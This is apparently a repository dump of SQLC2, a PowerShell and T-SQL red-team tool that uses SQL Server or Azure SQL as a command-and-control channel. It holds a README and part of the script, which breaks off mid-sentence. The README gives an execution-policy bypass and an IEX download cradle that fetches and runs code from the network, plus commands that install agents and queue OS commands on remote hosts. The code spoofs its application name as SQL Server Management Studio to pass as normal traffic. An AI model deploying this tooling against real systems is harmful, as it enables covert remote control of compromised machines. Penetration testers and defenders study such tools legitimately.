├── LICENSE ├── README.md ├── SQLC2.ps1 ├── csharp └── sqlc2cmds.cs ├── images ├── Get-Command-Results.png ├── Install_SQLC2_Link_Agent.png ├── Install_SQLC2_Server.png ├── List execute agent commands.png ├── Set Command to Run on Agent.png └── arch.png └── tsql └── Install-SQLC2AgentLink.sql /LICENSE: -------------------------------------------------------------------------------- 1 | ************************************************************* 2 | 3 | Copyright (c) 2018, NetSPI 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of SQLC2 nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # SQLC2 2 | SQLC2 is a PowerShell script for deploying and managing a command and control system that uses SQL Server as both the control server and the agent. At its core, SQLC2 is just a PowerShell script, a TSQL script, and a few tables in an SQL Server instance that tracks agents, commands, and results. Nothing too fancy, but it may prove to be useful on some engagements.  3 | 4 | For a more complete overview of SQLC2 check out the blog at https://blog.netspi.com/databases-and-clouds-sql-server-as-a-c2/. 5 | 6 | ### Author and License 7 | * Author: Scott Sutherland (@_nullbind), NetSPI - 2018 8 | * License: BSD 3-Clause 9 | * Required Dependencies: None 10 | 11 | # Why Bother with a SQL Server Based C2? 12 | More companies are starting to use Azure SQL Server databases. When those Azure SQL Server instances are created, they are made accessible via a subdomain of database.windows.net on port 1433. For example, I could create SQL Server instance named "mysupersqlserver.database.windows.net". As a result, some corporate network configurations allow outbound internet access to any "database.windows.net" subdomain on port 1433. 13 | 14 | The general idea is that as Azure SQL Server adoption grows, there will be more opportunity to use SQL Server as a control channel that looks kind of like normal traffic. SQLPS is a pretty basic proof of concept, but I think it’s functional enough to illustrate the idea. I know there are quite a few improvements to be made, but if you end up playing with it, I’d love your feedback. 15 | 16 | ### Not Just for Azure 17 | Although there is an emphasis on using SQLC2 with Azure SQL Server instances, you could host your own SQL Server in any cloud environment and have it listen on port 443 with SSL enabled. So, it could offer a little more flexibility depending on how much effort you want to put into it. 18 | 19 | # Loading SQLC2 20 | * **Option 1:** Download the script and import it. This does not require administrative privileges and will only be imported into the current session. However, it may be blocked by restrictive execution policies, so you may want to use the bypass option. 21 | 22 | `Set-ExecutionPolicy Bypass -Scope Process` 23 | 24 | `Import-Module SQLC2.ps1` 25 | 26 | * **Option 2:** Load it into a session via a download cradle. This does not require administrative privileges and will only be imported into the current session. It should not be blocked by executions policies. 27 | 28 | `IEX(New-Object System.Net.WebClient).DownloadString("https://raw.githubusercontent.com/NetSPI/SQLC2/master/SQLC2.ps1")` 29 | 30 | **Note:** To run as an alternative domain user, use the runas command to launch PowerShell first. 31 | 32 | `runas /noprofile /netonly /user:domain\user PowerShell.exe` 33 | 34 | # Basic SQLC2 architecture diagram 35 | ![SQLC2Arch](https://github.com/NetSPI/SQLC2/blob/master/images/arch.png) 36 | 37 | # User Functions 38 | Below is a list of user functions that support the intended workflows. 39 | 40 | |Function Name|Description | 41 | |:--------------------------------|:-----------| 42 | |Install-SQLC2Server|Install SQLC2 tables on target SQL Server/database.| 43 | |Install-SQLC2AgentPs|Install an agent that uses an SQL Server agent job and server link.| 44 | |Install-SQLC2AgentLink|Install an agent that uses a schedule task or registry key to execute PowerShell commands.| 45 | |Set-SQLC2Command|Set operating system commands for agents to run.| 46 | |Get-SQLC2Command|Get a list of pending operating system commands from the C2 for the agent. This can also execute the pending command with the -Execute flag.| 47 | |Get-SQLC2Agent|Get a list of agents registered on the SQLC2 server.| 48 | |Get-SQLC2Result|Get a list of pending and completed commands. Support servername, status, and cid filters.| 49 | |Remove-SQLC2Agent|Remove agents registered on the SQLC2. Simply clears the history.| 50 | |Remove-SQLC2Command|Remove the command history on the SQLC2 server.| 51 | |Uninstall-SQLC2AgentLink|Uninstall SQLC2 agent that uses server links and an agent job.| 52 | |Uninstall-SQLC2AgentPs|Uninstall all operating system based persistence methods.| 53 | |Uninstall-SQLC2Server|Remove the SQLC2 tables from the target database.| 54 | 55 | # Screen Shots 56 | Below are a few sample screenshots. 57 | 58 | Install SQLC2 Server (Create tables): 59 | 60 | `Install-SQLC2Server -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'` 61 | 62 | ![Install C2](https://github.com/NetSPI/SQLC2/blob/master/images/Install_SQLC2_Server.png) 63 | 64 | Install SQLC2 Agent (SQL Server agent Job that uses a server link): 65 | 66 | `Install-SQLC2AgentPs -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'` 67 | 68 | ![Install Agent](https://github.com/NetSPI/SQLC2/blob/master/images/Install_SQLC2_Link_Agent.png) 69 | 70 | View SQLC2 Agents: 71 | 72 | `Get-SQLC2Agent -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'` 73 | 74 | ![SQLC2Arch](https://github.com/NetSPI/SQLC2/blob/master/images/Get-Command-Results.png) 75 | 76 | Set Command to Run on Agent: 77 | 78 | `Set-SQLC2Command -Verbose -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!' 79 | -Command "Whoami" -ServerName MSSQLSRV04` 80 | 81 | ![Set_Command](https://github.com/NetSPI/SQLC2/blob/master/images/Set%20Command%20to%20Run%20on%20Agent.png) 82 | 83 | Get Command Results: 84 | 85 | `Get-SQLC2Result -Verbose -ServerName "MSSQLSRV04" -Instance sqlserverc21.database.windows.net -Database test1 -Username CloudAdmin -Password 'BestPasswordEver!'` 86 | 87 | ![Get Command Output](https://github.com/NetSPI/SQLC2/blob/master/images/List%20execute%20agent%20commands.png) 88 | 89 | -------------------------------------------------------------------------------- /SQLC2.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | Script: SQLC2.psm1 3 | Version: 1.0 4 | Description: This is a basic PoC script that contains functions that can be 5 | used to install and manage a C2 via a SQL Server instance. 6 | The C2 SQL Server is intended to be hosted remotely or in Azure 7 | via a database.windows.net address. The client functions can be 8 | run by a schedule task or other means for periodic check in 9 | and command grabbing from the C2 SQL Server. 10 | Author: Scott Sutherland (@_nullbind), NetSPI 2018 11 | License: BSD 3-Clause 12 | #> 13 | 14 | 15 | # ---------------------------------- 16 | # Get-SQLC2ConnectionObject 17 | # ---------------------------------- 18 | # Author: Scott Sutherland 19 | Function Get-SQLC2ConnectionObject 20 | { 21 | <# 22 | .SYNOPSIS 23 | Creates a object for connecting to SQL Server. 24 | .PARAMETER Username 25 | SQL Server or domain account to authenticate with. 26 | .PARAMETER Password 27 | SQL Server or domain account password to authenticate with. 28 | .PARAMETER Credential 29 | SQL Server credential. 30 | .PARAMETER Database 31 | Default database to connect to. 32 | .PARAMETER AppName 33 | Spoof the name of the application you are connecting to SQL Server with. 34 | .PARAMETER Encrypt 35 | Use an encrypted connection. 36 | .PARAMETER TrustServerCert 37 | Trust the certificate of the remote server. 38 | .EXAMPLE 39 | PS C:\> Get-SQLC2ConnectionObject -Username myuser -Password mypass -Instance server1 -Encrypt Yes -TrustServerCert Yes -AppName "myapp" 40 | StatisticsEnabled : False 41 | AccessToken : 42 | ConnectionString : Server=server1;Database=Master;User ID=myuser;Password=mypass;Connection Timeout=1 ;Application 43 | Name="myapp";Encrypt=Yes;TrustServerCertificate=Yes 44 | ConnectionTimeout : 1 45 | Database : Master 46 | DataSource : server1 47 | PacketSize : 8000 48 | ClientConnectionId : 00000000-0000-0000-0000-000000000000 49 | ServerVersion : 50 | State : Closed 51 | WorkstationId : Workstation1 52 | Credential : 53 | FireInfoMessageEventOnUserErrors : False 54 | Site : 55 | Container : 56 | #> 57 | [CmdletBinding()] 58 | Param( 59 | [Parameter(Mandatory = $false, 60 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 61 | [string]$Username, 62 | 63 | [Parameter(Mandatory = $false, 64 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 65 | [string]$Password, 66 | 67 | [Parameter(Mandatory = $false, 68 | HelpMessage = 'Windows credentials.')] 69 | [System.Management.Automation.PSCredential] 70 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 71 | 72 | [Parameter(Mandatory = $false, 73 | ValueFromPipelineByPropertyName = $true, 74 | HelpMessage = 'SQL Server instance to connection to.')] 75 | [string]$Instance, 76 | 77 | [Parameter(Mandatory = $false, 78 | HelpMessage = 'Dedicated Administrator Connection (DAC).')] 79 | [Switch]$DAC, 80 | 81 | [Parameter(Mandatory = $false, 82 | HelpMessage = 'Default database to connect to.')] 83 | [String]$Database, 84 | 85 | [Parameter(Mandatory = $false, 86 | HelpMessage = 'Spoof the name of the application your connecting to the server with.')] 87 | [string]$AppName = "", 88 | 89 | [Parameter(Mandatory = $false, 90 | HelpMessage = 'Use an encrypted connection.')] 91 | [ValidateSet("Yes","No","")] 92 | [string]$Encrypt = "", 93 | 94 | [Parameter(Mandatory = $false, 95 | HelpMessage = 'Trust the certificate of the remote server.')] 96 | [ValidateSet("Yes","No","")] 97 | [string]$TrustServerCert = "", 98 | 99 | [Parameter(Mandatory = $false, 100 | HelpMessage = 'Connection timeout.')] 101 | [string]$TimeOut = 1 102 | ) 103 | 104 | Begin 105 | { 106 | # Setup DAC string 107 | if($DAC) 108 | { 109 | $DacConn = 'ADMIN:' 110 | } 111 | else 112 | { 113 | $DacConn = '' 114 | } 115 | 116 | # Set database filter 117 | if(-not $Database) 118 | { 119 | $Database = 'Master' 120 | } 121 | 122 | # Check if appname was provided 123 | if($AppName){ 124 | $AppNameString = ";Application Name=`"$AppName`"" 125 | }else{ 126 | $AppNameString = "" 127 | } 128 | 129 | # Check if encrypt was provided 130 | if($Encrypt){ 131 | $EncryptString = ";Encrypt=Yes" 132 | }else{ 133 | $EncryptString = "" 134 | } 135 | 136 | # Check TrustServerCert was provided 137 | if($TrustServerCert){ 138 | $TrustCertString = ";TrustServerCertificate=Yes" 139 | }else{ 140 | $TrustCertString = "" 141 | } 142 | } 143 | 144 | Process 145 | { 146 | # Check for instance 147 | if ( -not $Instance) 148 | { 149 | $Instance = $env:COMPUTERNAME 150 | } 151 | 152 | # Create connection object 153 | $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection 154 | 155 | # Set authentcation type - current windows user 156 | if(-not $Username){ 157 | 158 | # Set authentication type 159 | $AuthenticationType = "Current Windows Credentials" 160 | 161 | # Set connection string 162 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1 $AppNameString $EncryptString $TrustCertString" 163 | } 164 | 165 | # Set authentcation type - provided windows user 166 | if ($username -like "*\*"){ 167 | $AuthenticationType = "Provided Windows Credentials" 168 | 169 | # Setup connection string 170 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut$AppNameString$EncryptString$TrustCertString" 171 | } 172 | 173 | # Set authentcation type - provided sql login 174 | if (($username) -and ($username -notlike "*\*")){ 175 | 176 | # Set authentication type 177 | $AuthenticationType = "Provided SQL Login" 178 | 179 | # Setup connection string 180 | $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut $AppNameString$EncryptString$TrustCertString" 181 | } 182 | 183 | # Return the connection object 184 | return $Connection 185 | } 186 | 187 | End 188 | { 189 | } 190 | } 191 | 192 | 193 | # ---------------------------------- 194 | # Get-SQLC2Query 195 | # ---------------------------------- 196 | # Author: Scott Sutherland 197 | Function Get-SQLC2Query 198 | { 199 | <# 200 | .SYNOPSIS 201 | Executes a query on target SQL servers. 202 | .PARAMETER Username 203 | SQL Server or domain account to authenticate with. 204 | .PARAMETER Password 205 | SQL Server or domain account password to authenticate with. 206 | .PARAMETER Credential 207 | SQL Server credential. 208 | .PARAMETER Instance 209 | SQL Server instance to connection to. 210 | .PARAMETER DAC 211 | Connect using Dedicated Admin Connection. 212 | .PARAMETER Database 213 | Default database to connect to. 214 | .PARAMETER TimeOut 215 | Connection time out. 216 | .PARAMETER SuppressVerbose 217 | Suppress verbose errors. Used when function is wrapped. 218 | .PARAMETER Threads 219 | Number of concurrent threads. 220 | .PARAMETER Query 221 | Query to be executed on the SQL Server. 222 | .PARAMETER AppName 223 | Spoof the name of the application you are connecting to SQL Server with. 224 | .PARAMETER Encrypt 225 | Use an encrypted connection. 226 | .PARAMETER TrustServerCert 227 | Trust the certificate of the remote server. 228 | .EXAMPLE 229 | PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" -Query "Select @@version" -Threads 15 230 | .EXAMPLE 231 | PS C:\> Get-SQLC2Query -Verbose -Instance "SQLSERVER1.domain.com,1433" -Query "Select @@version" -Threads 15 232 | .EXAMPLE 233 | PS C:\> Get-SQLInstanceDomain | Get-SQLC2Query -Verbose -Query "Select @@version" -Threads 15 234 | #> 235 | [CmdletBinding()] 236 | Param( 237 | [Parameter(Mandatory = $false, 238 | ValueFromPipelineByPropertyName = $true, 239 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 240 | [string]$Username, 241 | 242 | [Parameter(Mandatory = $false, 243 | ValueFromPipelineByPropertyName = $true, 244 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 245 | [string]$Password, 246 | 247 | [Parameter(Mandatory = $false, 248 | HelpMessage = 'Windows credentials.')] 249 | [System.Management.Automation.PSCredential] 250 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 251 | 252 | [Parameter(Mandatory = $false, 253 | ValueFromPipelineByPropertyName = $true, 254 | HelpMessage = 'SQL Server instance to connection to.')] 255 | [string]$Instance, 256 | 257 | [Parameter(Mandatory = $false, 258 | ValueFromPipelineByPropertyName = $true, 259 | HelpMessage = 'SQL Server query.')] 260 | [string]$Query, 261 | 262 | [Parameter(Mandatory = $false, 263 | HelpMessage = 'Connect using Dedicated Admin Connection.')] 264 | [Switch]$DAC, 265 | 266 | [Parameter(Mandatory = $false, 267 | HelpMessage = 'Default database to connect to.')] 268 | [String]$Database, 269 | 270 | [Parameter(Mandatory = $false, 271 | HelpMessage = 'Connection timeout.')] 272 | [int]$TimeOut, 273 | 274 | [Parameter(Mandatory = $false, 275 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 276 | [switch]$SuppressVerbose, 277 | 278 | [Parameter(Mandatory = $false, 279 | HelpMessage = 'Spoof the name of the application your connecting to the server with.')] 280 | [string]$AppName = "Microsoft SQL Server Management Studio - Query", 281 | 282 | [Parameter(Mandatory = $false, 283 | HelpMessage = 'Use an encrypted connection.')] 284 | [ValidateSet("Yes","No","")] 285 | [string]$Encrypt = "Yes", 286 | 287 | [Parameter(Mandatory = $false, 288 | HelpMessage = 'Trust the certificate of the remote server.')] 289 | [ValidateSet("Yes","No","")] 290 | [string]$TrustServerCert = "Yes", 291 | 292 | [Parameter(Mandatory = $false, 293 | HelpMessage = 'Return error message if exists.')] 294 | [switch]$ReturnError 295 | ) 296 | 297 | Begin 298 | { 299 | # Setup up data tables for output 300 | $TblQueryResults = New-Object -TypeName System.Data.DataTable 301 | } 302 | 303 | Process 304 | { 305 | # Setup DAC string 306 | if($DAC) 307 | { 308 | # Create connection object 309 | $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -DAC -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert 310 | } 311 | else 312 | { 313 | # Create connection object 314 | $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database -AppName $AppName -Encrypt $Encrypt -TrustServerCert $TrustServerCert 315 | } 316 | 317 | # Parse SQL Server instance name 318 | $ConnectionString = $Connection.Connectionstring 319 | $Instance = $ConnectionString.split(';')[0].split('=')[1] 320 | 321 | # Check for query 322 | if($Query) 323 | { 324 | # Attempt connection 325 | try 326 | { 327 | # Open connection 328 | $Connection.Open() 329 | 330 | if(-not $SuppressVerbose) 331 | { 332 | Write-Verbose -Message "$Instance : Connection Success." 333 | } 334 | 335 | # Setup SQL query 336 | $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) 337 | 338 | # Grab results 339 | $Results = $Command.ExecuteReader() 340 | 341 | # Load results into data table 342 | $TblQueryResults.Load($Results) 343 | 344 | # Close connection 345 | $Connection.Close() 346 | 347 | # Dispose connection 348 | $Connection.Dispose() 349 | } 350 | catch 351 | { 352 | # Connection failed - for detail error use Get-SQLC2ConnectionTest 353 | if(-not $SuppressVerbose) 354 | { 355 | Write-Verbose -Message "$Instance : Connection Failed." 356 | } 357 | 358 | if($ReturnError) 359 | { 360 | $ErrorMessage = $_.Exception.Message 361 | #Write-Verbose " Error: $ErrorMessage" 362 | } 363 | } 364 | } 365 | else 366 | { 367 | Write-Output -InputObject 'No query provided to Get-SQLC2Query function.' 368 | Break 369 | } 370 | } 371 | 372 | End 373 | { 374 | # Return Results 375 | if($ReturnError) 376 | { 377 | $ErrorMessage 378 | } 379 | else 380 | { 381 | $TblQueryResults 382 | } 383 | } 384 | } 385 | 386 | 387 | # ---------------------------------- 388 | # Get-SQLC2ConnectionTest 389 | # ---------------------------------- 390 | Function Get-SQLC2ConnectionTest 391 | { 392 | <# 393 | .SYNOPSIS 394 | Tests if the current Windows account or provided SQL Server login can log into an SQL Server. 395 | .PARAMETER Username 396 | SQL Server or domain account to authenticate with. 397 | .PARAMETER Password 398 | SQL Server or domain account password to authenticate with. 399 | .PARAMETER Credential 400 | SQL Server credential. 401 | .PARAMETER Instance 402 | SQL Server instance to connection to. 403 | .PARAMETER DAC 404 | Connect using Dedicated Admin Connection. 405 | .PARAMETER Database 406 | Default database to connect to. 407 | .PARAMETER TimeOut 408 | Connection time out. 409 | .PARAMETER SuppressVerbose 410 | Suppress verbose errors. Used when function is wrapped. 411 | .EXAMPLE 412 | PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com\SQLExpress" 413 | .EXAMPLE 414 | PS C:\> Get-SQLC2ConnectionTest -Verbose -Instance "SQLSERVER1.domain.com,1433" 415 | .EXAMPLE 416 | PS C:\> Get-SQLInstanceDomain | Get-SQLC2ConnectionTest -Verbose 417 | #> 418 | [CmdletBinding()] 419 | Param( 420 | [Parameter(Mandatory = $false, 421 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 422 | [string]$Username, 423 | 424 | [Parameter(Mandatory = $false, 425 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 426 | [string]$Password, 427 | 428 | [Parameter(Mandatory = $false, 429 | HelpMessage = 'Windows credentials.')] 430 | [System.Management.Automation.PSCredential] 431 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 432 | 433 | [Parameter(Mandatory = $false, 434 | ValueFromPipeline = $true, 435 | ValueFromPipelineByPropertyName = $true, 436 | HelpMessage = 'SQL Server instance to connection to.')] 437 | [string]$Instance, 438 | 439 | [Parameter(Mandatory = $false, 440 | HelpMessage = 'Connect using Dedicated Admin Connection.')] 441 | [Switch]$DAC, 442 | 443 | [Parameter(Mandatory = $false, 444 | HelpMessage = 'Default database to connect to.')] 445 | [String]$Database, 446 | 447 | [Parameter(Mandatory = $false, 448 | HelpMessage = 'Connection timeout.')] 449 | [string]$TimeOut, 450 | 451 | [Parameter(Mandatory = $false, 452 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 453 | [switch]$SuppressVerbose 454 | ) 455 | 456 | Begin 457 | { 458 | # Setup data table for output 459 | $TblResults = New-Object -TypeName System.Data.DataTable 460 | $null = $TblResults.Columns.Add('ComputerName') 461 | $null = $TblResults.Columns.Add('Instance') 462 | $null = $TblResults.Columns.Add('Status') 463 | } 464 | 465 | Process 466 | { 467 | # Parse computer name from the instance 468 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 469 | 470 | # Default connection to local default instance 471 | if(-not $Instance) 472 | { 473 | $Instance = $env:COMPUTERNAME 474 | } 475 | 476 | # Setup DAC string 477 | if($DAC) 478 | { 479 | # Create connection object 480 | $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -DAC -TimeOut $TimeOut -Database $Database 481 | } 482 | else 483 | { 484 | # Create connection object 485 | $Connection = Get-SQLC2ConnectionObject -Instance $Instance -Username $Username -Password $Password -Credential $Credential -TimeOut $TimeOut -Database $Database 486 | } 487 | 488 | # Attempt connection 489 | try 490 | { 491 | # Open connection 492 | $Connection.Open() 493 | 494 | if(-not $SuppressVerbose) 495 | { 496 | Write-Verbose -Message "$Instance : Connection Success." 497 | } 498 | 499 | # Add record 500 | $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') 501 | 502 | # Close connection 503 | $Connection.Close() 504 | 505 | # Dispose connection 506 | $Connection.Dispose() 507 | } 508 | catch 509 | { 510 | # Connection failed 511 | if(-not $SuppressVerbose) 512 | { 513 | $ErrorMessage = $_.Exception.Message 514 | Write-Verbose -Message "$Instance : Connection Failed." 515 | Write-Verbose -Message " Error: $ErrorMessage" 516 | } 517 | 518 | # Add record 519 | $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') 520 | } 521 | } 522 | 523 | End 524 | { 525 | # Return Results 526 | $TblResults 527 | } 528 | } 529 | 530 | 531 | # ------------------------------------------- 532 | # Function: Get-SQLC2ComputerNameFromInstance 533 | # ------------------------------------------ 534 | # Author: Scott Sutherland 535 | Function Get-SQLC2ComputerNameFromInstance 536 | { 537 | <# 538 | .SYNOPSIS 539 | Parses computer name from a provided instance. 540 | .PARAMETER Instance 541 | SQL Server instance to parse. 542 | .EXAMPLE 543 | PS C:\> Get-SQLC2ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014 544 | SQLServer1 545 | #> 546 | [CmdletBinding()] 547 | Param( 548 | [Parameter(Mandatory = $false, 549 | ValueFromPipeline = $true, 550 | ValueFromPipelineByPropertyName = $true, 551 | HelpMessage = 'SQL Server instance.')] 552 | [string]$Instance 553 | ) 554 | 555 | # Parse ComputerName from provided instance 556 | If ($Instance) 557 | { 558 | $ComputerName = $Instance.split('\')[0].split(',')[0] 559 | } 560 | else 561 | { 562 | $ComputerName = $env:COMPUTERNAME 563 | } 564 | 565 | Return $ComputerName 566 | } 567 | 568 | 569 | # ---------------------------------- 570 | # Install-SQLC2Server 571 | # ---------------------------------- 572 | # Author: Scott Sutherland 573 | Function Install-SQLC2Server 574 | { 575 | <# 576 | .SYNOPSIS 577 | This functions creates the C2 SQL Server tables in the target database. 578 | If the database does not exist, the script will try to create it. 579 | .PARAMETER Username 580 | SQL Server or domain account to authenticate with. 581 | .PARAMETER Password 582 | SQL Server or domain account password to authenticate with. 583 | .PARAMETER Credential 584 | SQL Server credential. 585 | .PARAMETER Instance 586 | SQL Server instance to connection to. 587 | .PARAMETER DAC 588 | Connect using Dedicated Admin Connection. 589 | .PARAMETER DatabaseName 590 | Database name that contains target table. 591 | .EXAMPLE 592 | PS C:\> Install-SQLC2Server -Instance "SQLServer1\STANDARDDEV2014" -Database database1 593 | PS C:\> Install-SQLC2Server -Username CloudAdmin -Password 'CloudPassword!' -Instance cloudserver1.database.windows.net -Database database1 594 | #> 595 | [CmdletBinding()] 596 | Param( 597 | [Parameter(Mandatory = $false, 598 | HelpMessage = 'SQL Server or domain account to authenticate with.')] 599 | [string]$Username, 600 | 601 | [Parameter(Mandatory = $false, 602 | HelpMessage = 'SQL Server or domain account password to authenticate with.')] 603 | [string]$Password, 604 | 605 | [Parameter(Mandatory = $false, 606 | HelpMessage = 'Windows credentials.')] 607 | [System.Management.Automation.PSCredential] 608 | [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty, 609 | 610 | [Parameter(Mandatory = $false, 611 | ValueFromPipelineByPropertyName = $true, 612 | HelpMessage = 'SQL Server instance to connection to.')] 613 | [string]$Instance, 614 | 615 | [Parameter(Mandatory = $false, 616 | ValueFromPipeline = $true, 617 | ValueFromPipelineByPropertyName = $true, 618 | HelpMessage = 'Database containing target C2 table.')] 619 | [string]$Database, 620 | 621 | [Parameter(Mandatory = $false, 622 | ValueFromPipeline = $true, 623 | ValueFromPipelineByPropertyName = $true, 624 | HelpMessage = 'ServerName of the agent.')] 625 | [string]$ServerName, 626 | 627 | [Parameter(Mandatory = $false, 628 | ValueFromPipeline = $true, 629 | ValueFromPipelineByPropertyName = $true, 630 | HelpMessage = 'Command to run on the agent.')] 631 | [string]$Command, 632 | 633 | [Parameter(Mandatory = $false, 634 | HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] 635 | [switch]$SuppressVerbose 636 | ) 637 | 638 | Begin 639 | { 640 | # Create data tables for output 641 | $TblResults = New-Object -TypeName System.Data.DataTable 642 | } 643 | 644 | Process 645 | { 646 | # Parse computer name from the instance 647 | $ComputerName = Get-SQLC2ComputerNameFromInstance -Instance $Instance 648 | 649 | # Default connection to local default instance 650 | if(-not $Instance) 651 | { 652 | $Instance = $env:COMPUTERNAME 653 | } 654 | 655 | # Test connection to instance 656 | $TestConnection = Get-SQLC2ConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript { 657 | $_.Status -eq 'Accessible' 658 | } 659 | 660 | # Test connection 661 | if($TestConnection) 662 | { 663 | if( -not $SuppressVerbose) 664 | { 665 | Write-Verbose -Message "$Instance : Connection Success." 666 | } 667 | } 668 | else 669 | { 670 | if( -not $SuppressVerbose) 671 | { 672 | Write-Verbose -Message "$Instance : Connection Failed." 673 | } 674 | return 675 | } 676 | 677 | Write-Verbose "$instance : Note: Creating DBs on thefly in Azure times out sometimes." 678 | Write-Verbose "$instance : Attempting to verify and/or create the database $Database..." 679 | 680 | # Create Database Query 681 | $Query = " 682 | If not Exists (SELECT name FROM master.dbo.sysdatabases WHERE name = '$Database') 683 | CREATE DATABASE db1 684 | ELSE 685 | SELECT name FROM master..sysdatabases WHERE name like '$Database'" 686 | 687 | # Create Database results 688 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database 'master' -SuppressVerbose -TimeOut 300 689 | $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count 690 | if($RowCount -eq 1) 691 | { 692 | Write-Verbose "$instance : Verified $Database database exists or was created." 693 | }else{ 694 | Write-Verbose "$instance : Access or creation of $Database database failed." 695 | return 696 | } 697 | 698 | Write-Verbose "$instance : Creating the C2 Table in the database $Database." 699 | 700 | # Create Database Query 701 | $Query = " 702 | If not Exists (SELECT name FROM sys.tables WHERE name = 'C2COMMANDS') 703 | CREATE TABLE [C2COMMANDS] 704 | ( 705 | [cid] int IDENTITY(1,1) PRIMARY KEY, 706 | [servername]varchar(MAX), 707 | [command]varchar(MAX), 708 | [result]varchar(MAX), 709 | [status]varchar(MAX), 710 | [lastupdate]DateTime default (Getdate()) 711 | ); 712 | 713 | If not Exists (SELECT name FROM sys.tables WHERE name = 'C2AGENTS') 714 | CREATE TABLE [C2AGENTS] 715 | ( 716 | [aid] int IDENTITY(1,1) PRIMARY KEY, 717 | [servername]varchar(MAX), 718 | [agentype]varchar(MAX), 719 | [lastcheckin]DateTime default (Getdate()), 720 | );SELECT name FROM sys.tables WHERE name = 'C2COMMANDS'" 721 | 722 | # Create Database results 723 | $TblResults = Get-SQLC2Query -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -Database "$Database" -SuppressVerbose 724 | $RowCount = $TblResults | Measure-Object | select Count -ExpandProperty count 725 | if($RowCount -eq 1) 726 | { 727 | Write-Verbose "$instance : Verified C2 tables existed or were created in the $Database." 728 | }else{ 729 | Write-Verbose "$instance : C2 tables creation failed in the $Database failed." 730 | } 731 | 732 | } 733 | 734 | End 735 | { 736 | # Return data 737 | # $TblResults 738 | } 739 | } 740 | 741 | 742 | # ---------------------------------- 743 | # Install-SQLC2AgentPs 744 | # ---------------------------------- 745 | # Author: Scott Sutherland 746 | Function Install-SQLC2AgentPs 747 | { 748 | <# 749 | .SYNOPSIS 750 | This functions installs a C2 Agent on the target SQL Server by creating a server link 751 | to the C2 SQL Server, then it creates a TSQL SQL Agent job that uses the link to download 752 | commands from the C2 server and executes 